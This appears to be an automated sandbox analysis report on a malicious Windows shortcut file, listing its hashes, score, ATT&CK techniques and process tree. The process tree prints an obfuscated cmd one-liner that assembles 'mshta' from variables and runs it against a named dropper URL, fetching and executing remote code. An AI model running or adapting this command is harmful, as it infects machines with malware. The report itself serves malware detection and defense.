cb9ae17f63bdc2631de984d9fa29d334ee014e9abb7e2726002646f0cf51db0c

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-1YOV51.lnk
Size 1KB
Sample260803-qsaa1a1thw
SHA256 cb9ae17f63bdc2631de984d9fa29d334ee014e9abb7e2726002646f0cf51db0c
MD5 1e8f8951823e82e2718171b6109eed8c
SHA1 9fe894ad91b7a7f2123eb6c2d7f3ee29ae5a47f2
SHA512 3cccbeb735d27ea403fc2d7d5ca65d3d837985adea18dac4821ecdd007a0f28af94f649811a68027e62b3a41e82b09f560e2577366e55157533167ef3f6f11b7
TLSH
T1A5317B503FFD0614F3F38E7794BB5B2085BFB8968E24CA1D4141464C5032A14E1BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3164	cmd.exe
4104	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 4104	3164	cmd.exe	90
PID 4104 wrote to memory of 4328	4104	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1YOV51.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3164
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set zvp=msh&&set QL=ta&&start "" !zvp!!QL! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads